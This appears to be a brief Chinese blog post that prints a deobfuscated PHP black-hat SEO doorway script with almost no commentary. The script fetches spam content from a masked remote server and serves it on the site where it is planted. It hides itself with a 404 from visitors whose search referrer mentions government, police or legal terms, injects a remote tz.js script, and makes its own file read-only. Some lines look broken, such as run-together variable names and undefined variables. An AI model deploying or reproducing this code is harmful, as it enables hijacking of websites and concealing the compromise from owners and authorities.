Crakme
<?php 
function header_status( $_obfuscate_6b8lIO4y ) 
{ 
    if ( substr( php_sapi_name( ), 0, 3 ) == "cgi" ) 
    { 
        header( "Status: ".$_obfuscate_6b8lIO4y, TRUE ); 
    } 
    else 
    { 
        header( $_SERVER[\'SERVER_PROTOCOL\']." ".$_obfuscate_6b8lIO4y ); 
    } 
} 

function jm1( $_obfuscate_R2_b ) 
{ 
    $_obfuscate_R2_b = urlencode( $_obfuscate_R2_b ); 
    return $_obfuscate_R2_b; 
} 

function jm12( $_obfuscate_R2_b ) 
{ 
    $_obfuscate_R2_b = urlencode( $_obfuscate_R2_b ); 
    $_obfuscate_R2_b = str_replace( array( ".", "-", "_" ), array( "%2E", "%2D", "%5F" ), $_obfuscate_R2_b ); 
    return $_obfuscate_R2_b; 
} 

function unescape( $_obfuscate_RaJNhvj ) 
{ 
    $_obfuscate_5wcv0K7wH31Lcg = ""; 
    $_obfuscate_LmSv = 0; 
    $_obfuscate_mc2H = strlen( $_obfuscate_RaJNhvj ); 
    while ( $_obfuscate_LmSv < $_obfuscate_mc2H ) 
    { 
        $_obfuscate_6_1v9YEv = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 1 ); 
        if ( $_obfuscate_6_1v9YEv == "%" ) 
        { 
            ++$_obfuscate_LmSv; 
            $_obfuscate_6_1v9YEv = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 1 ); 
            if ( $_obfuscate_6_1v9YEv == "u" ) 
            { 
                ++$_obfuscate_LmSv; 
                $_obfuscate_3vwmAv0csY8OGcYfg = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 4 ); 
                $_obfuscate_93YXwrZA = hexdec( $_obfuscate_3vwmAv0csY8OGcYfg ); 
                $_obfuscate_5wcv0K7wH31Lcg .= u2utf82gb( $_obfuscate_93YXwrZA ); 
                $_obfuscate_LmSv += 4; 
            } 
            else 
            { 
                $_obfuscate_95x2hQ = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 2 ); 
                $_obfuscate_5wcv0K7wH31Lcg .= chr( hexdec( $_obfuscate_95x2hQ ) ); 
                $_obfuscate_LmSv += 2; 
            } 
        } 
        else 
        { 
            $_obfuscate_5wcv0K7wH31Lcg .= $_obfuscate_6_1v9YEv; 
            ++$_obfuscate_LmSv; 
        } 
    } 
    return $_obfuscate_5wcv0K7wH31Lcg; 
} 

function u2utf82gb( $_obfuscate_KQ ) 
{ 
    $_obfuscate_mWc6gux0 = ""; 
    if ( $_obfuscate_KQ < 128 ) 
    { 
        $_obfuscate_mWc6gux0 .= $_obfuscate_KQ; 
    } 
    else if ( $_obfuscate_KQ < 2048 ) 
    { 
        $_obfuscate_mWc6gux0 .= chr( 192 | $_obfuscate_KQ >> 6 ); 
        $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 ); 
    } 
    else if ( $_obfuscate_KQ < 65536 ) 
    { 
        $_obfuscate_mWc6gux0 .= chr( 224 | $_obfuscate_KQ >> 12 ); 
        $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 6 & 63 ); 
        $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 ); 
    } 
    else if ( $_obfuscate_KQ < 2097152 ) 
    { 
        $_obfuscate_mWc6gux0 .= chr( 240 | $_obfuscate_KQ >> 18 ); 
        $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 12 & 63 ); 
        $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 6 & 63 ); 
        $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 ); 
    } 
    return iconv( "UTF-8", "GB2312", $_obfuscate_mWc6gux0 ); 
} 

function escape( $_obfuscate_R2_b ) 
{ 
    preg_match_all( "/[€-].|[\x01-]+/", $_obfuscate_R2_b, $_obfuscate_fU5_VNo_ ); 
    $_obfuscate_pPA = $_obfuscate_fU5_VNo_[0]; 
    foreach ( $_obfuscate_pPAas $_obfuscate_5w => $_obfuscate_6A ) 
    { 
        if ( 127 <= ord( $_obfuscate_pPA[$_obfuscate_5w] ) ) 
        { 
            $_obfuscate_td8iJsE_jrWY = bin2hex( iconv( "GBK", "ucs-2//IGNORE", $_obfuscate_6A ) ); 
            if ( !eregi( "WIN", PHP_OS ) ) 
            { 
                $_obfuscate_td8iJsE_jrWY = substr( $_obfuscate_td8iJsE_jrWY, 2, 2 ).substr( $_obfuscate_td8iJsE_jrWY, 0, 2 ); 
            } 
            $_obfuscate_otXE17D8V9c .= "%u".$_obfuscate_td8iJsE_jrWY; 
        } 
        else 
        { 
            $_obfuscate_otXE17D8V9c .= rawurlencode( $_obfuscate_6A ); 
        } 
    } 
    return $_obfuscate_otXE17D8V9c; 
} 

function NoWord( ) 
{ 
    $_obfuscate_Lfvab3cQJCnX = FALSE; 
    $_obfuscate_TTmFhzw = "东宁|行唐|大连|朝阳|河南|律师|chaoyang|caoyang|zaoyang|zhoayang|liaoning|dongning|xingtang|hnfzb|会计|政府|公安|法律|案|通知|文件|市|县|省|局|厅|site:|gov.cn|edu.cn|税|工作|inurl|intitle|shangdu|商都|zgcy"; 
    if ( $_obfuscate_TTmFhzw != "" ) 
    { 
        $_obfuscate_fVY2 = explode( "|", $_obfuscate_TTmFhzw ); 
        foreach ( $_obfuscate_fVY2 as $_obfuscate_2iA ) 
        { 
            $_obfuscate_3mw = trim( $_obfuscate_2iA ); 
            if ( strlen( "徐" ) == 3 ) 
            { 
                $_obfuscate_FeU = mb_convert_encoding( $_obfuscate_3mw, "gbk", "utf-8" ); 
            } 
            else 
            { 
                $_obfuscate_FeU = mb_convert_encoding( $_obfuscate_3mw, "utf-8", "gbk" ); 
            } 
            $_obfuscate_tPJNxYD3_P7mGg = escape( $_obfuscate_3mw ); 
            $_obfuscate_TPqY = jm1( $_obfuscate_3mw ); 
            $_obfuscate_1xEi2g = jm12( $_obfuscate_3mw ); 
            $_obfuscate_RSLn = jm1( $_obfuscate_FeU ); 
            $_obfuscate_k4TO7w = jm12( $_obfuscate_FeU ); 
            $_obfuscate_FA = "/((wd|q\\d*|w|p|query|word)(=)[^&]*(".$_obfuscate_TPqY.( "|".$_obfuscate_1xEi2g."|" ).$_obfuscate_RSLn.( "|".$_obfuscate_k4TO7w."|{$_obfuscate_3mw}|{$_obfuscate_FeU}|{$_obfuscate_tPJNxYD3_P7mGg}).*)/i" ); 
            $_obfuscate_aMPia6u3sjI = mb_convert_encoding( $_SERVER[\'HTTP_REFERER\'], "gbk", "utf-8" ); 
            $_obfuscate_1wegwj906usI = mb_convert_encoding( $_obfuscate_aMPia6u3sjI, "gbk", "utf-8" ); 
            if ( preg_match( $_obfuscate_FA, $_obfuscate_aMPia6u3sjI, $_obfuscate_JA ) ) 
            { 
                $_obfuscate_Lfvab3cQJCnX = TRUE; 
            } 
            else 
            { 
                if ( !preg_match( $_obfuscate_FA, $_SERVER[\'HTTP_REFERER\'], $_obfuscate_JA ) ) 
                { 
                    continue; 
                } 
                $_obfuscate_Lfvab3cQJCnX = TRUE; 
            } 
            break; 
        } 
    } 
    return $_obfuscate_Lfvab3cQJCnX; 
} 

function Lailu( ) 
{ 
    $_obfuscate_al38 = explode( ",", "baidu,google,soso,sogou" ); 
    $_obfuscate_6Jxc = FALSE; 
    if ( $_SERVER[\'HTTP_REFERER\'] != "" ) 
    { 
        foreach ( $_obfuscate_al38 as $_obfuscate_OQ ) 
        { 
            if ( !( stristr( $_SERVER[\'HTTP_REFERER\'], $_obfuscate_OQ ) != "" ) ) 
            { 
                continue; 
            } 
            $_obfuscate_SO7znbt80g = $_obfuscate_6Jxc = TRUE; 
            break; 
        } 
    } 
    return $_obfuscate_6Jxc; 
} 

function gg( $_obfuscate_Il8i ) 
{ 
    $_obfuscate_98A = microtime( 1 ); 
    if ( function_exists( "curl_init" ) && function_exists( "curl_exec" ) ) 
    { 
        $_obfuscate_u_c = curl_init( $_obfuscate_Il8i ); 
        curl_setopt( $_obfuscate_u_c, CURLOPT_HEADER, 1 ); 
        curl_setopt( $_obfuscate_u_c, CURLOPT_RETURNTRANSFER, 1 ); 
        curl_setopt( $_obfuscate_u_c, CURLOPT_TIMEOUT, 5 ); 
        $_obfuscate__9AT_HAWO3k = curl_exec( $_obfuscate_u_c ); 
        $_obfuscate_ofjg = strpos( $_obfuscate__9AT_HAWO3k, "\r\n\r\n" ); 
        $_obfuscate_2L4d = substr( $_obfuscate__9AT_HAWO3k, 0, $_obfuscate_ofjg ); 
        $_obfuscate_VUr0T1c = stristr( $_obfuscate_2L4d, "Last-Modified" ); 
        $_obfuscate_VUr0T1c = substr( $_obfuscate_VUr0T1c, 0, strpos( $_obfuscate_VUr0T1c, "\r\n" ) ); 
        $_obfuscate__9AT_HAWO3k = substr( $_obfuscate__9AT_HAWO3k, $_obfuscate_ofjg + 4 ); 
    } 
    else 
    { 
        $_obfuscate_j9iH = stream_context_create( array( 
            "http" => array( "timeout" => 5, "method" => "GET", "header" => "Accept-language: en\r\n" ) 
        ) ); 
        $_obfuscate__9AT_HAWO3k = file_get_contents( $_obfuscate_Il8i, NULL, $_obfuscate_j9iH ); 
        foreach ( $_obfuscate_jcAas $_obfuscate_iQ ) 
        { 
            $_obfuscate_pY9 = stripos( $_obfuscate_iQ, "Last-Modified:" ); 
            if ( !( $_obfuscate_pY9 !== FALSE ) ) 
            { 
                continue; 
            } 
            $_obfuscate_VUr0T1c = $_obfuscate_iQ; 
            break; 
        } 
    } 
    $_obfuscate_Jrp1 = array( ); 
    $_obfuscate_Jrp1[\'MTime\'] = $_obfuscate_VUr0T1c; 
    $_obfuscate_Jrp1[\'db\'] = $_obfuscate__9AT_HAWO3k; 
    return $_obfuscate_Jrp1; 
} 

function read( $_obfuscate_Il8i ) 
{ 
    $_obfuscate_A5oNi6Yf = gg( $_obfuscate_Il8i ); 
    $_obfuscate_sx8 = $_obfuscate_A5oNi6Yf[\'db\']; 
    return $_obfuscate_sx8; 
} 

function _url_html( $_obfuscate_0W8, $_obfuscate_FG262MMqQvA73A = "y" ) 
{ 
    $_obfuscate_Il8i = "{$_obfuscate_4YjPKVKMkv9dymc}{$_obfuscate_hqDdJizbzZlf1UeizJgOvJWg}{$_obfuscate_0W8}.shtml"; 
    return $_obfuscate_Il8i; 
} 

function re( $_obfuscate_sx8 ) 
{ 
    $_obfuscate_sx8 = preg_replace( "~href=\'\\?i=(\\d+)\'~isU", "href=\'\$1.html\'", $_obfuscate_sx8 ); 
    $_obfuscate_sx8 = preg_replace( "~href=\'\\?page=(\\d+)\'~isU", "href=\'list_\$1.html\'", $_obfuscate_sx8 ); 
    return $_obfuscate_sx8; 
} 

function _get_domain( $_obfuscate_Il8i ) 
{ 
    $_obfuscate_SF4 = parse_url( $_obfuscate_Il8i ); 
    $_obfuscate_SF4 = $_obfuscate_Il8i; 
    if ( $_obfuscate_SF4[\'host\'] != "" ) 
    { 
        $_obfuscate_iqVlpA = $_obfuscate_SF4[\'host\']; 
    } 
    else 
    { 
        $_obfuscate_iqVlpA = $_obfuscate_Il8i; 
    } 
    $_obfuscate_iqVlpA = $_SERVER[\'HTTP_HOST\']; 
    preg_match( "~[\\w\\-\\.]*([\\w\\-]+\\.(co\\.(?:cn|tw|hk|us|\\w{2})|com\\.(?:cn|tw|hk|us|za|\\w{2})|gov\\.(?:cn|tw|hk|us|\\w{2})|edu\\.(?:cn|tw|hk|us|\\w{2})|net\\.(?:cn|tw|hk|us|\\w{2})|org\\.(?:cn|tw|hk|us|\\w{2})|cn|net|org|hk|tw|us|com|la|za|so|ch|\\w{2}))\$~isU", $_obfuscate_iqVlpA, $_obfuscate_Jrp1 ); 
    $_obfuscate_rolUxmlo = $_obfuscate_Jrp1[1]; 
    return $_obfuscate_rolUxmlo; 
} 

ob_start( ); 
error_reporting( 0 ); 
set_time_limit( 50 ); 
header( "Content-type: text/html; charset=gb2312" ); 
$i = $_GET[\'i\']; 
$page = $_GET[\'page\']; 
$domain = $_GET[\'domain\']; 
if ( $domain == "" ) 
{ 
    $domain = $_SERVER[\'HTTP_HOST\']; 
    if ( preg_match( "~.*([^\\.]+\\.(?:gov|com|edu|net|org|co)(?:\\.(?:[a-z]{2}))?)\$~isU", $domain, $arr ) ) 
    { 
        $domain = $arr[1]; 
    } 
    else 
    { 
        $domain = _get_domain( $domain ); 
    } 
} 
$full_url = $_SERVER[\'QUERY_STRING\'] != "" ? "{$_SERVER[\'SCRIPT_NAME\']}?{$_SERVER[\'QUERY_STRING\']}" : $_SERVER[\'SCRIPT_NAME\']; 
$full_url = urlencode( $full_url ); 
$u = "http://xxxxxx:65530/test/law.shangdu.com/main.php?i=".$i."&page={$page}"; 
$u = "http://xxxxxxxx.com/xxx/main.news.php?domain=".$domain."&i={$i}&page={$page}&full_url={$full_url}"; 
if ( $ck && !$flag ) 
{ 
    ob_clean( ); 
    header_status( "404 Not Found" ); 
    echo $_404; 
    exit( ); 
} 
if ( lailu( ) ) 
{ 
    $ck_noword = noword( ); 
    if ( $ck_noword ) 
    { 
        ob_clean( ); 
        header_status( "404 Not Found" ); 
        echo $_404; 
        exit( ); 
    } 
} 
$db = read( $u ); 
if ( $db == "" ) 
{ 
    echo "<script src=\'http://a.xxxxx.com/tz.js\'></script>"; 
} 
$db = re( $db ); 
echo $db; 
@chmod( __FILE__, 292 ); 
?>

没什么好说的   黑帽SEO

分类:

技术点:

相关文章: